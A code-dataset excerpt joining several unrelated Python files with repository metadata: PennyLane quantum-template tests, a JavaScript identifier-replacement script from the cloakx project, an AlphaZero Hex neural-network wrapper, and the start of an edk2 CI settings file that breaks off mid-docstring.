circuit() @pytest.mark.parametrize( ("hamiltonian", "output"), [ (qml.Hamiltonian([1, 1], [qml.PauliX(0), qml.Hadamard(0)]), "Hadamard"), ( qml.Hamiltonian( [1, 1], [qml.PauliX(0) @ qml.Hermitian(np.array([[1, 1], [1, 1]]), 1), qml.PauliX(0)], ), "Hermitian", ), ], ) def test_non_pauli_error(self, hamiltonian, output): """Tests if the correct errors are thrown when the user attempts to input a matrix with non-Pauli terms""" n_wires = 2 dev = qml.device("default.qubit", wires=n_wires) @qml.qnode(dev) def circuit(): ApproxTimeEvolution(hamiltonian, 2, 3) return [qml.expval(qml.PauliZ(wires=i)) for i in range(n_wires)] with pytest.raises( ValueError, match="hamiltonian must be written in terms of Pauli matrices" ): circuit() @pytest.mark.parametrize( ("time", "hamiltonian", "steps", "gates"), [ ( 2, qml.Hamiltonian([1, 1], [qml.PauliX(0), qml.PauliX(1)]), 2, [ qml.PauliRot(2.0, "X", wires=[0]), qml.PauliRot(2.0, "X", wires=[1]), qml.PauliRot(2.0, "X", wires=[0]), qml.PauliRot(2.0, "X", wires=[1]), ], ), ( 2, qml.Hamiltonian([2, 0.5], [qml.PauliX("a"), qml.PauliZ("b") @ qml.PauliX("a")]), 2, [ qml.PauliRot(4.0, "X", wires=["a"]), qml.PauliRot(1.0, "ZX", wires=["b", "a"]), qml.PauliRot(4.0, "X", wires=["a"]), qml.PauliRot(1.0, "ZX", wires=["b", "a"]), ], ), ( 2, qml.Hamiltonian([1, 1], [qml.PauliX(0), qml.Identity(0) @ qml.Identity(1)]), 2, [qml.PauliRot(2.0, "X", wires=[0]), qml.PauliRot(2.0, "X", wires=[0])], ), ( 2, qml.Hamiltonian( [2, 0.5, 0.5], [ qml.PauliX("a"), qml.PauliZ(-15) @ qml.PauliX("a"), qml.Identity(0) @ qml.PauliY(-15), ], ), 1, [ qml.PauliRot(8.0, "X", wires=["a"]), qml.PauliRot(2.0, "ZX", wires=[-15, "a"]), qml.PauliRot(2.0, "IY", wires=[0, -15]), ], ), ], ) def test_evolution_operations(self, time, hamiltonian, steps, gates): """Tests that the sequence of gates implemented in the ApproxTimeEvolution template is correct""" n_wires = 2 with qml._queuing.OperationRecorder() as rec: ApproxTimeEvolution(hamiltonian, time, steps) for i, gate in enumerate(rec.operations): prep = [gate.parameters, gate.wires] target = [gates[i].parameters, gates[i].wires] assert prep == target @pytest.mark.parametrize( ("time", "hamiltonian", "steps", "expectation"), [ (np.pi, qml.Hamiltonian([1, 1], [qml.PauliX(0), qml.PauliX(1)]), 2, [1.0, 1.0]), ( np.pi / 2, qml.Hamiltonian([0.5, 1], [qml.PauliY(0), qml.Identity(0) @ qml.PauliX(1)]), 1, [0.0, -1.0], ), ( np.pi / 4, qml.Hamiltonian( [1, 1, 1], [qml.PauliX(0), qml.PauliZ(0) @ qml.PauliZ(1), qml.PauliX(1)] ), 1, [0.0, 0.0], ), ( 1, qml.Hamiltonian([1, 1], [qml.PauliX(0), qml.PauliX(1)]), 2, [-0.41614684, -0.41614684], ), ( 2, qml.Hamiltonian( [1, 1, 1, 1], [qml.PauliX(0), qml.PauliY(0), qml.PauliZ(0) @ qml.PauliZ(1), qml.PauliY(1)], ), 2, [-0.87801124, 0.51725747], ), ], ) def test_evolution_output(self, time, hamiltonian, steps, expectation): """Tests that the output from the ApproxTimeEvolution template is correct""" n_wires = 2 dev = qml.device("default.qubit", wires=n_wires) @qml.qnode(dev) def circuit(): ApproxTimeEvolution(hamiltonian, time, steps) return [qml.expval(qml.PauliZ(wires=i)) for i in range(n_wires)] assert np.allclose(circuit(), expectation) class TestPermute: """Tests for the Permute template from the pennylane.templates.subroutine module.""" @pytest.mark.parametrize( "permutation_order,expected_error_message", [ ([0], "Permutations must involve at least 2 qubits."), ([0, 1, 2], "Permutation must specify outcome of all wires."), ([0, 1, 1, 3], "Values in a permutation must all be unique"), ([4, 3, 2, 1], "not present in wire set"), ], ) def test_invalid_inputs_qnodes(self, permutation_order, expected_error_message): """Tests if errors are thrown for invalid permutations with QNodes.""" dev = qml.device("default.qubit", wires=4) @qml.qnode(dev) def permute_qubits(): Permute(permutation_order, wires=dev.wires) return qml.expval(qml.PauliZ(0)) with pytest.raises(ValueError, match=expected_error_message): permute_qubits() @pytest.mark.parametrize( "permutation_order,expected_error_message", [ ([0], "Permutations must involve at least 2 qubits."), ([2, "c", "a", 0], "Permutation must specify outcome of all wires."), ([2, "a", "c", "c", 1], "Values in a permutation must all be unique"), ([2, "a", "d", "c", 1], r"not present in wire set"), ], ) def test_invalid_inputs_tape(self, permutation_order, expected_error_message): """Tests if errors are thrown for invalid permutations with tapes.""" wire_labels = [0, 2, "a", "c", 1] with qml.tape.QuantumTape() as tape: with pytest.raises(ValueError, match=expected_error_message): Permute(permutation_order, wires=wire_labels) def test_identity_permutation_qnode(self): """ Test that identity permutations have no effect on QNodes. """ dev = qml.device("default.qubit", wires=4) @qml.qnode(dev) def identity_permutation(): Permute([0, 1, 2, 3], wires=dev.wires) return qml.expval(qml.PauliZ(0)) identity_permutation() assert len(identity_permutation.ops) == 1 def test_identity_permutation_tape(self): """ Test that identity permutations have no effect on tapes. """ with qml.tape.QuantumTape() as tape: Permute([0, "a", "c", "d"], wires=[0, "a", "c", "d"]) assert len(tape.operations) == 0 @pytest.mark.parametrize( "permutation_order,expected_wires", [ ([1, 0], [(0, 1)]), ([1, 0, 2], [(0, 1)]), ([1, 0, 2, 3], [(0, 1)]), ([0, 2, 1, 3], [(1, 2)]), ([2, 3, 0, 1], [(0, 2), (1, 3)]), ], ) def test_two_cycle_permutations_qnode(self, permutation_order, expected_wires): """ Test some two-cycles on QNodes. """ dev = qml.device("default.qubit", wires=len(permutation_order)) @qml.qnode(dev) def two_cycle(): Permute(permutation_order, wires=dev.wires) return qml.expval(qml.PauliZ(0)) two_cycle() # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in two_cycle.ops[:-1]) assert [op.wires.labels for op in two_cycle.ops[:-1]] == expected_wires @pytest.mark.parametrize( # For tape need to specify the wire labels "permutation_order,wire_order,expected_wires", [ ([1, 0], [0, 1], [(0, 1)]), ([1, 0, 2], [0, 1, 2], [(0, 1)]), ([1, 0, 2, 3], [0, 1, 2, 3], [(0, 1)]), ([0, 2, 1, 3], [0, 1, 2, 3], [(1, 2)]), ([2, 3, 0, 1], [0, 1, 2, 3], [(0, 2), (1, 3)]), (["a", "b", 0, 1], [0, 1, "a", "b"], [(0, "a"), (1, "b")]), ], ) def test_two_cycle_permutations_tape(self, permutation_order, wire_order, expected_wires): """ Test some two-cycles on tapes. """ with qml.tape.QuantumTape() as tape: Permute(permutation_order, wire_order) # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in tape.operations) assert [op.wires.labels for op in tape.operations] == expected_wires @pytest.mark.parametrize( "permutation_order,expected_wires", [ ([1, 2, 0], [(0, 1), (1, 2)]), ([3, 0, 1, 2], [(0, 3), (1, 3), (2, 3)]), ([1, 2, 3, 0], [(0, 1), (1, 2), (2, 3)]), ], ) def test_cyclic_permutations_qnode(self, permutation_order, expected_wires): """ Test more general cycles on QNodes. """ dev = qml.device("default.qubit", wires=len(permutation_order)) @qml.qnode(dev) def cycle(): Permute(permutation_order, wires=dev.wires) return qml.expval(qml.PauliZ(0)) cycle() # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in cycle.ops[:-1]) assert [op.wires.labels for op in cycle.ops[:-1]] == expected_wires @pytest.mark.parametrize( "permutation_order,wire_order,expected_wires", [ ([1, 2, 0], [0, 1, 2], [(0, 1), (1, 2)]), (["d", "a", "b", "c"], ["a", "b", "c", "d"], [("a", "d"), ("b", "d"), ("c", "d")]), (["b", 0, "d", "a"], ["a", "b", 0, "d"], [("a", "b"), ("b", 0), (0, "d")]), ], ) def test_cyclic_permutations_tape(self, permutation_order, wire_order, expected_wires): """ Test more general cycles on tapes. """ with qml.tape.QuantumTape() as tape: Permute(permutation_order, wire_order) # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in tape.operations) assert [op.wires.labels for op in tape.operations] == expected_wires @pytest.mark.parametrize( "permutation_order,expected_wires", [ ([3, 0, 2, 1], [(0, 3), (1, 3)]), ([1, 3, 0, 4, 2], [(0, 1), (1, 3), (2, 3), (3, 4)]), ([5, 1, 4, 2, 3, 0], [(0, 5), (2, 4), (3, 4)]), ], ) def test_arbitrary_permutations_qnode(self, permutation_order, expected_wires): """ Test arbitrarily generated permutations on QNodes. """ dev = qml.device("default.qubit", wires=len(permutation_order)) @qml.qnode(dev) def arbitrary_perm(): Permute(permutation_order, wires=dev.wires) return qml.expval(qml.PauliZ(0)) arbitrary_perm() # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in arbitrary_perm.ops[:-1]) assert [op.wires.labels for op in arbitrary_perm.ops[:-1]] == expected_wires @pytest.mark.parametrize( "permutation_order,wire_order,expected_wires", [ ([1, 3, 0, 2], [0, 1, 2, 3], [(0, 1), (1, 3), (2, 3)]), ( ["d", "a", "e", "b", "c"], ["a", "b", "c", "d", "e"], [("a", "d"), ("b", "d"), ("c", "e")], ), ( ["p", "f", 4, "q", "z", 0, "c", "d"], ["z", 0, "d", "c", 4, "f", "q", "p"], [("z", "p"), (0, "f"), ("d", 4), ("c", "q"), (4, "p")], ), ], ) def test_arbitrary_permutations_tape(self, permutation_order, wire_order, expected_wires): """ Test arbitrarily generated permutations on tapes. """ with qml.tape.QuantumTape() as tape: Permute(permutation_order, wire_order) # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in tape.operations) assert [op.wires.labels for op in tape.operations] == expected_wires @pytest.mark.parametrize( "num_wires,permutation_order,wire_subset,expected_wires", [ (3, [1, 0], [0, 1], [(0, 1)]), (4, [3, 0, 2], [0, 2, 3], [(0, 3), (2, 3)]), (6, [4, 2, 1, 3], [1, 2, 3, 4], [(1, 4), (3, 4)]), ], ) def test_subset_permutations_qnode( self, num_wires, permutation_order, wire_subset, expected_wires ): """ Test permutation of wire subsets on QNodes. """ dev = qml.device("default.qubit", wires=num_wires) @qml.qnode(dev) def subset_perm(): Permute(permutation_order, wires=wire_subset) return qml.expval(qml.PauliZ(0)) subset_perm() # Ensure all operations are SWAPs, and that the wires are the same assert all(op.name == "SWAP" for op in subset_perm.ops[:-1]) assert [op.wires.labels for op in subset_perm.ops[:-1]] == expected_wires @pytest.mark.parametrize( "wire_labels,permutation_order,wire_subset,expected_wires", [ ([0, 1, 2], [1, 0], [0, 1], [(0, 1)]), ([0, 1, 2, 3], [3, 0, 2], [0, 2, 3], [(0, 3), (2, 3)]), ( [0, 2, "a", "c", 1, 4], [4, "c", 2, "a"], [2, "a", "c", 4], [(2, 4), ("a", "c"), ("c", 4)], ), ], ) def test_subset_permutations_tape( self, wire_labels, permutation_order, wire_subset, expected_wires ): """ Test permutation of wire subsets on tapes. """ with qml.tape.QuantumTape() as tape: # Make sure all the wires are actually there for wire in wire_labels: qml.RZ(0, wires=wire) Permute(permutation_order, wire_subset) # Make sure to start comparison after the set of RZs have been applied assert all(op.name == "SWAP" for op in tape.operations[len(wire_labels) :]) assert [op.wires.labels for op in tape.operations[len(wire_labels) :]] == expected_wires
36.330405
114
0.473619
79593bf354de0872e7871b8c89b72e845c3d4c2c
4,937
py
Python
cloakx/JS_Replace.py
skarami/cloakx
a6d0b808b5cfa665a1328c49931511d57f8aa6a7
[ "BSD-2-Clause" ]
2
2020-08-20T14:11:14.000Z
2021-04-12T08:11:57.000Z
cloakx/JS_Replace.py
skarami/cloakx
a6d0b808b5cfa665a1328c49931511d57f8aa6a7
[ "BSD-2-Clause" ]
null
null
null
cloakx/JS_Replace.py
skarami/cloakx
a6d0b808b5cfa665a1328c49931511d57f8aa6a7
[ "BSD-2-Clause" ]
1
2022-02-09T18:13:53.000Z
2022-02-09T18:13:53.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from slimit import ast from slimit.parser import Parser from slimit.visitors import nodevisitor from pprint import PrettyPrinter import re import esprima pp = PrettyPrinter(indent=2) data = """ var a = "content other" // YES NO var b = 'content -content' // YES NO var c = "im-content" // NO var d = "content-u-r" // NO var f = ".content" // YES var g = "#content" // YES var h = "CONTENT" // NO form.contentList() // NO $($container.find('.content')[1]).css('top', '56px'); // YES yahooOptions.buttons = [ { text: "pocket", successText: i18n[getCurrentContentCode()]['success_saved_text'], container: '.content.cf', // NO?? content: 'side-button content', // NO: NO YES selector: '.pocket-yahoo-button', data: function (elem) { // The link is direct on the element within the data-url property var link = $(elem).attr('data-url').trim(); link = unescape(link); // First a element is the article title var article = $(elem).find("a")[0]; var title = $(article).text().trim(); var hacked = 'content'; //YES var content = 'harder content lessdifficult' // NO YES NO return {title: title, url: link}; } } ]; var content = "nobody" yahooOptions.buttons[0]['content'] = "24" // NO, but how :( $.foo({ type: "content", url: 'http://www.content.com', data: { email: 'abc@g.com', phone: 'content', content: 'XYZ' } }); q p(document.body, "css/mCH.css", [{t: 1, l: "div", a: [{n: "class", v: "content"}], c: [{t: 1, l: "img", a: [{n: "src", v: "i/home64.png"}]}, {t: 1, l: "b", c: [{t: 3, v: "Home"}]}]}]) var executePocketButtonCode = function() { $('#content-btn-js').remove() $('#content').remove() }; var ha = document.createElement("div"); var divhtml = "<div>This is my content</div>" // should not change text body ha.innerHTML = divhtml; document.appendChild(ha); var foo = document.createElement("div"); var foohtml = "<div class='maincontent content mocontent'>This is my content</div>" // NO, YES, NO, NO ha.innerHTML = foohtml; document.appendChild(foohtml); """ # problem, we want all the times varpattern = re.compile("(^[.]?[ ])") h = "[0-9a-f]" unicode = "\\\\{h}{1,6}(\\r\\n|[ \\t\\r\\n\\f])?".replace("{h}", h) escape = "({unicode}|\\\\[^\\r\\n\\f0-9a-f])".replace("{unicode}", unicode) nonascii = "[\\240-\\377]" nmchar = "([_a-z0-9-]|{nonascii}|{escape})".replace("{nonascii}", nonascii).replace("{escape}", escape) nmstart = "([_a-z]|{nonascii}|{escape})".replace("{nonascii}", nonascii).replace("{escape}", escape) ident = "-?{nmstart}{nmchar}*".replace("{nmstart}", nmstart).replace("{nmchar}", nmchar) varpattern = re.compile(ident) print(ident) #-? # ([_a-z]|[\240-\377]|(\\[0-9a-f]{1,6}(\r\n|[ \t\r\n\f])?|\\[^\r\n\f0-9a-f])) # ([_a-z0-9-]|[\240-\377]|(\\[0-9a-f]{1,6}(\r\n|[ \t\r\n\f])?|\\[^\r\n\f0-9a-f]))* #parser = Parser() #tree = parser.parse(data) tree = esprima.parseScript(data) str_to_find = 'content' replace = 'FOOBARBAR' import json print(json.dumps(tree.toDict(),indent=2)) def match_replace(str_to_parse, str_to_find, replace): temp = str_to_parse # print("var " + node.identifier.value + " value to >> " + node.initializer.value + " <<") for match_obj in varpattern.finditer(str_to_parse): #print(match_obj.group()) # temp = if match_obj.group() == str_to_find: temp = temp[:match_obj.start()] + replace + temp[match_obj.end():] return temp for node in nodevisitor.visit(tree): if isinstance(node, ast.VarDecl): if node.initializer is not None and type(node.initializer) is ast.String: node.initializer.value = match_replace(node.initializer.value, str_to_find, replace) # print ("var " + node.identifier.value + ' >> ' + node.initializer.value ) if isinstance(node, ast.Assign): if type(node.right) is ast.String: node.right.value = match_replace(node.right.value, str_to_find, replace) # print("var " + node.left.value + " value to >> " + node.right.value + " <<") if type(node) is ast.String: node.value = match_replace(node.value, str_to_find, replace) # print("var " + node.left.value + " value to >> " + node.right.value + " <<") print(str(type(node)) + " " + str(vars(node) )) print(tree.to_ecma()) # # fields = {getattr(node.left, 'value', ''): getattr(node.right, 'value', '') # for node in nodevisitor.visit(tree) # if isinstance(node, ast.Assign)} # # print (fields) class JS_Replace(): def __init__(self): pass
32.913333
108
0.568361
79593c7c18bf3a028fac5558d7d0d4cf96e42b78
15,827
py
Python
hex/NNet.py
phil-hawkins/alpha-zero-general
b218bd3f98740f917a98bbf2609a516fcfcef6fc
[ "MIT" ]
null
null
null
hex/NNet.py
phil-hawkins/alpha-zero-general
b218bd3f98740f917a98bbf2609a516fcfcef6fc
[ "MIT" ]
null
null
null
hex/NNet.py
phil-hawkins/alpha-zero-general
b218bd3f98740f917a98bbf2609a516fcfcef6fc
[ "MIT" ]
null
null
null
import os import sys import math import numpy as np import torch import torch.optim as optim from time import time from tqdm import tqdm from absl import logging sys.path.append('../../') from utils import dotdict, AverageMeter from NeuralNet import NeuralNet from .models.scale_cnn import CNNHex, RecurrentCNNHex from .models.graph_net import GraphNet, GraphNet_1Trunk, GraphNet_2Bridge, GraphNet_SideNode, GraphNet_4Trunk from .board_graph import IdentifierEncoder, ZeroIdentifierEncoder, RandomIdentifierEncoder, batch_to_net, batch_to_1trunk_net, batch_to_4trunk_net # args = dotdict({ # 'dropout': 0.3, # 'num_channels': 128,#32, # 'res_blocks' : 5, # 'in_channels' : 3 # 0/1/2 - black/white/empty # }) # class FakeNNet(NeuralNet): # """ fake neural network that does random predictions for pitting an oponent against pure MCTS # """ # def __init__(self, game, net_type=None, value_function=None): # self.game = game # self.value_function = value_function if value_function else lambda x : 0. # def predict(self, board): # valids = self.game.getValidMoves(board) # pi = np.zeros_like(valids, dtype=np.float32) # valids_ndx = np.nonzero(valids)[0] # np.random.shuffle(valids_ndx) # action_ndx = valids_ndx[0] # pi[action_ndx] = 1.0 # v = self.value_function(board) # return pi, v # def value_from_shortest_path(board): # """ takes either a matrix representation of the board or a graph representation # and calculates a state value based on a comparison of shortest paths of each player # """ # if type(board).__module__ == np.__name__: # bg = BoardGraph.from_matrix_board(MatrixHexBoard(torch.tensor(board))) # elif isinstance(board, GraphHexBoard): # bg = BoardGraph.from_graph_board(board) # else: # raise Exception("Unsupported board type") # g_p1, g_p2 = PlayerGraph.from_board_graph(bg, 1), PlayerGraph.from_board_graph(bg, -1) # sp_p1, sp_p2 = g_p1.shortest_path(), g_p2.shortest_path() # if sp_p1 == 0: # v = 1.0 # elif sp_p2 == 0: # v = -1.0 # else: # v = (sp_p2 - sp_p1) / max(sp_p1, sp_p2) # return v class NNetWrapper(NeuralNet): def __init__(self, game, net_type="base_gat", lr=1e-3, epochs=10, batch_size=64): def base_config(): self.args['res_blocks'] = 5 self.args['in_channels'] = 3 def base_gat_config(id_encoder): base_config() self.args['num_channels'] = 32 self.args['expand_base'] = 2 self.args['attn_heads'] = 1 self.args['readout_attn_heads'] = 4 self.args['id_encoder'] = id_encoder self.xform_input = lambda x: batch_to_net(x, self.args, self.device) def xform_cnn_input(x): x = torch.tensor(x, device=self.device) if len(x.shape) == 2: x = x.unsqueeze(dim=0) return x def base_cnn_config(): base_config() self.args['num_channels'] = 128 self.args['dropout'] = 0.3 self.xform_input = lambda x: xform_cnn_input(x) self.net_type = net_type self.lr = lr self.epochs = epochs self.batch_size = batch_size self.action_size = game.getActionSize() self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') self.args = dotdict({ 'action_size': self.action_size }) if self.net_type == "base_cnn": base_cnn_config() self.nnet = CNNHex.base_cnn(game, self.args) elif self.net_type == "scalefree_base_cnn": base_cnn_config() self.nnet = CNNHex.base_cnn(game, self.args) elif self.net_type == "recurrent_cnn": base_cnn_config() self.args.res_blocks = 2 self.nnet = RecurrentCNNHex.recurrent_cnn(game, self.args) elif self.net_type == "base_gat": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.nnet = GraphNet(self.args) elif self.net_type == "gat_res10": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.args['res_blocks'] = 10 self.nnet = GraphNet(self.args) elif self.net_type == "gat_res15": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.args['res_blocks'] = 15 self.nnet = GraphNet(self.args) elif self.net_type == "gat_res20": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.args['res_blocks'] = 20 self.nnet = GraphNet(self.args) elif self.net_type == "gat_res30": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.args['res_blocks'] = 30 self.nnet = GraphNet(self.args) elif self.net_type == "gat_res40": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.args['res_blocks'] = 40 self.nnet = GraphNet(self.args) elif self.net_type == "gat_res50": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.args['res_blocks'] = 50 self.nnet = GraphNet(self.args) elif self.net_type == "gat_ch128": base_gat_config(IdentifierEncoder(d_model=124, max_seq_len=500)) self.args['num_channels'] = 128 self.nnet = GraphNet(self.args) elif self.net_type == "gat_zero_id": base_gat_config(ZeroIdentifierEncoder(d_model=28)) self.nnet = GraphNet(self.args) elif self.net_type == "gat_random_id": base_gat_config(RandomIdentifierEncoder(d_model=28)) self.nnet = GraphNet(self.args) elif self.net_type == "gat_random_id_1d": base_gat_config(RandomIdentifierEncoder(d_model=1)) self.nnet = GraphNet(self.args) elif self.net_type == "gat_random_id_10d": base_gat_config(RandomIdentifierEncoder(d_model=10)) self.nnet = GraphNet(self.args) elif self.net_type == "gat_random_id_20d": base_gat_config(RandomIdentifierEncoder(d_model=20)) self.nnet = GraphNet(self.args) elif self.net_type == "gat_1trunk": # identifier dimensions must be smaller by 2 because node attribute take up 3 planes # rather than 1 with both players in the same graph base_gat_config(IdentifierEncoder(d_model=26, max_seq_len=500)) self.xform_input = lambda x: batch_to_1trunk_net(x, self.args, self.device) self.nnet = GraphNet_1Trunk(self.args) elif self.net_type == "gat_2bridge": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.nnet = GraphNet_2Bridge(self.args) elif self.net_type == "gat_2b_res50": base_gat_config(RandomIdentifierEncoder(d_model=28)) self.args['res_blocks'] = 50 self.nnet = GraphNet_2Bridge(self.args) elif self.net_type == "gat_snodev": base_gat_config(RandomIdentifierEncoder(d_model=28)) self.nnet = GraphNet_SideNode(self.args) elif self.net_type == "gat_4trunk": base_gat_config(IdentifierEncoder(d_model=28, max_seq_len=500)) self.xform_input = lambda x: batch_to_4trunk_net(x, self.args, self.device) self.nnet = GraphNet_4Trunk(self.args) else: raise Exception("Unknown model type {}".format(net_type)) self.nnet.to(device=self.device) self.optimizer = optim.Adam(self.nnet.parameters(), lr=self.lr) self.scheduler = optim.lr_scheduler.ReduceLROnPlateau(self.optimizer, factor=0.2, patience=10) def prep_features(self, t): return t.contiguous().to(device=self.device) def fast_a0_train(self, batches, train_steps, summary_writer=None): self.nnet.train() data_time = AverageMeter() batch_time = AverageMeter() pi_losses = AverageMeter() v_losses = AverageMeter() end = time() current_step = 0 train_steps = min(train_steps, len(batches) * self.epochs) with tqdm(total=train_steps, desc='Training Net') as t: while current_step < train_steps: for batch_idx, batch in enumerate(batches): if current_step == train_steps: break current_step += 1 t.update(1) boards, target_pis, target_vs = batch boards, target_pis, target_vs = self.prep_features(boards), self.prep_features(target_pis), self.prep_features(target_vs) # measure data loading time data_time.update(time() - end) # compute output out_pi, out_v = self.nnet(self.xform_input(boards)) l_pi = self.loss_pi(target_pis, out_pi) l_v = self.loss_v(target_vs, out_v) total_loss = l_pi + l_v # record loss pi_losses.update(l_pi.item(), boards.size(0)) v_losses.update(l_v.item(), boards.size(0)) # compute gradient and do SGD step self.optimizer.zero_grad() total_loss.backward() self.optimizer.step() if summary_writer is not None: summary_writer.add_scalar("step_loss/policy", pi_losses.avg, global_step=current_step) summary_writer.add_scalar("step_loss/value", v_losses.avg, global_step=current_step) summary_writer.add_scalar("step_loss/all", v_losses.avg + pi_losses.avg, global_step=current_step) summary_writer.flush() # measure elapsed time batch_time.update(time() - end) end = time() t.set_postfix(Loss_pi=pi_losses.avg, Loss_v=v_losses.avg) self.scheduler.step(pi_losses.avg+v_losses.avg) return pi_losses.avg, v_losses.avg def train(self, examples, checkpoint_folder="checkpoint", summary_writers=None): """ examples: list of examples, each example is of form (board, pi, v) """ def step(batch_start, batch_end): boards, pis, vs = list(zip(*examples[batch_start:batch_end])) boards = torch.FloatTensor(np.array(boards).astype(np.float64)) target_pis = torch.FloatTensor(np.array(pis)) target_vs = torch.FloatTensor(np.array(vs).astype(np.float64)) boards, target_pis, target_vs = self.prep_features(boards), self.prep_features(target_pis), self.prep_features(target_vs) # compute output out_pi, out_v = self.nnet(self.xform_input(boards)) l_pi = self.loss_pi(target_pis, out_pi) l_v = self.loss_v(target_vs, out_v) total_loss = l_pi + l_v # record loss pi_losses.update(l_pi.item(), boards.size(0)) v_losses.update(l_v.item(), boards.size(0)) t.set_postfix(Loss_pi=pi_losses, Loss_v=v_losses) return total_loss min_loss = math.inf for epoch in range(self.epochs): logging.info('EPOCH ::: {}'.format(epoch + 1)) self.nnet.train() pi_losses = AverageMeter() v_losses = AverageMeter() batch_count = int(len(examples) / self.batch_size) train_batch_count = int(batch_count * .9) val_batch_count = batch_count - train_batch_count t = tqdm(range(train_batch_count), desc='Training Net') for i in t: batch_start = i * self.batch_size batch_end = batch_start + self.batch_size total_loss = step(batch_start, batch_end) # compute gradient and do SGD step self.optimizer.zero_grad() total_loss.backward() self.optimizer.step() if summary_writers is not None: summary_writers['train'].add_scalar("loss/policy", pi_losses.avg, global_step=epoch) summary_writers['train'].add_scalar("loss/value", v_losses.avg, global_step=epoch) summary_writers['train'].add_scalar("loss/all", v_losses.avg + pi_losses.avg, global_step=epoch) summary_writers['train'].add_scalar("lr", self.optimizer.param_groups[0]['lr'], global_step=epoch) summary_writers['train'].flush() self.nnet.eval() pi_losses = AverageMeter() v_losses = AverageMeter() with torch.no_grad(): t = tqdm(range(val_batch_count), desc='Validating Net') for i in t: batch_start = (train_batch_count + i) * self.batch_size batch_end = batch_start + self.batch_size step(batch_start, batch_end) if summary_writers is not None: summary_writers['val'].add_scalar("loss/policy", pi_losses.avg, global_step=epoch) summary_writers['val'].add_scalar("loss/value", v_losses.avg, global_step=epoch) summary_writers['val'].add_scalar("loss/all", v_losses.avg + pi_losses.avg, global_step=epoch) summary_writers['val'].flush() # track best model total_loss = pi_losses.avg + v_losses.avg self.scheduler.step(total_loss) if total_loss < min_loss: logging.info('Best loss so far! Saving checkpoint.') min_loss = total_loss self.save_checkpoint(folder=checkpoint_folder, filename=self.net_type+'_best.pth.tar') self.load_checkpoint(folder=checkpoint_folder, filename=self.net_type+'_best.pth.tar') def predict(self, board): """ board: np array with board or graph board """ # timing # start = time.time() self.nnet.eval() with torch.no_grad(): pi, v = self.nnet(self.xform_input(board)) return torch.exp(pi).data.cpu().numpy()[0], v.data.cpu().numpy()[0] def process(self, batch): batch = batch.to(device=self.device) self.nnet.eval() with torch.no_grad(): pi, v = self.nnet(self.xform_input(batch)) return torch.exp(pi), v def loss_pi(self, targets, outputs): return -torch.sum(targets * outputs) / targets.size()[0] def loss_v(self, targets, outputs): return torch.sum((targets - outputs.view(-1)) ** 2) / targets.size()[0] def save_checkpoint(self, folder='checkpoint', filename='checkpoint.pth.tar'): filepath = os.path.join(folder, filename) if not os.path.exists(folder): print("Checkpoint Directory does not exist! Making directory {}".format(folder)) os.mkdir(folder) # else: # print("Checkpoint Directory exists! ") torch.save({ 'state_dict': self.nnet.state_dict(), }, filepath) def load_checkpoint(self, folder='checkpoint', filename='checkpoint.pth.tar'): # https://github.com/pytorch/examples/blob/master/imagenet/main.py#L98 filepath = os.path.join(folder, filename) if not os.path.exists(filepath): raise Exception("No model in path {}".format(filepath)) checkpoint = torch.load(filepath, map_location=self.device) self.nnet.load_state_dict(checkpoint['state_dict'])
42.093085
146
0.606053
79593d9dc514d6c99f859102028371ceea308d98
7,656
py
Python
.pytool/CISettings.py
dyww2/edk2
f1d78c489a39971b5aac5d2fc8a39bfa925c3c5d
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
7
2016-11-03T17:04:00.000Z
2021-11-03T23:00:42.000Z
.pytool/CISettings.py
dyww2/edk2
f1d78c489a39971b5aac5d2fc8a39bfa925c3c5d
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
7
2020-02-08T15:55:59.000Z
2020-06-08T09:13:15.000Z
.pytool/CISettings.py
dyww2/edk2
f1d78c489a39971b5aac5d2fc8a39bfa925c3c5d
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
7
2019-05-11T10:03:35.000Z
2022-03-14T13:15:11.000Z
# @file # # Copyright (c) Microsoft Corporation. # SPDX-License-Identifier: BSD-2-Clause-Patent ## import os import logging from edk2toolext.environment import shell_environment from edk2toolext.invocables.edk2_ci_build import CiBuildSettingsManager from edk2toolext.invocables.edk2_setup import SetupSettingsManager, RequiredSubmodule from edk2toolext.invocables.edk2_update import UpdateSettingsManager from edk2toolext.invocables.edk2_pr_eval import PrEvalSettingsManager from edk2toollib.utility_functions import GetHostInfo class Settings(CiBuildSettingsManager, UpdateSettingsManager, SetupSettingsManager, PrEvalSettingsManager): def __init__(self): self.ActualPackages = [] self.ActualTargets = [] self.ActualArchitectures = [] self.ActualToolChainTag = "" # ####################################################################################### # # Extra CmdLine configuration # # ####################################################################################### # def AddCommandLineOptions(self, parserObj): pass def RetrieveCommandLineOptions(self, args): pass # ####################################################################################### # # Default Support for this Ci Build # # ####################################################################################### # def GetPackagesSupported(self): ''' return iterable of edk2 packages supported by this build. These should be edk2 workspace relative paths ''' return ("MdePkg", "MdeModulePkg", "NetworkPkg", "PcAtChipsetPkg", "SecurityPkg", "UefiCpuPkg", "FmpDevicePkg", "ShellPkg", "FatPkg", "CryptoPkg", "UnitTestFrameworkPkg" ) def GetArchitecturesSupported(self): ''' return iterable of edk2 architectures supported by this build ''' return ("IA32", "X64", "ARM", "AARCH64") def GetTargetsSupported(self): ''' return iterable of 